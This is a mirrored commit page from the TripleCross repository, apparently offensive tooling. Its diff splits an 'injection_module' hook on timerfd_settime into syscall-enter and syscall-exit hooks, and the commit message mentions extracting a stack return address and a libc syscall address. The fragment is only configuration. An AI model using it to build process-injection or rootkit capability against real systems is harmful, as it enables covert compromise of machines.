mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-21 01:03:08 +08:00
Finished extraction of return address from the stack, and libc syscall adress
This commit is contained in:
@@ -26,7 +26,8 @@ module_config_t module_config = {
|
||||
},
|
||||
.injection_module = {
|
||||
.all = ON,
|
||||
.sys_timerfd_settime = OFF
|
||||
.sys_enter_timerfd_settime = OFF,
|
||||
.sys_exit_timerfd_settime = OFF
|
||||
}
|
||||
|
||||
};
|
||||
@@ -88,7 +89,8 @@ int setup_all_modules(){
|
||||
if(config.injection_module.all == ON){
|
||||
ret = attach_injection_all(attr.skel);
|
||||
}else{
|
||||
if(config.injection_module.sys_timerfd_settime == ON) ret = attach_sys_timerfd_settime(attr.skel);
|
||||
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
|
||||
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user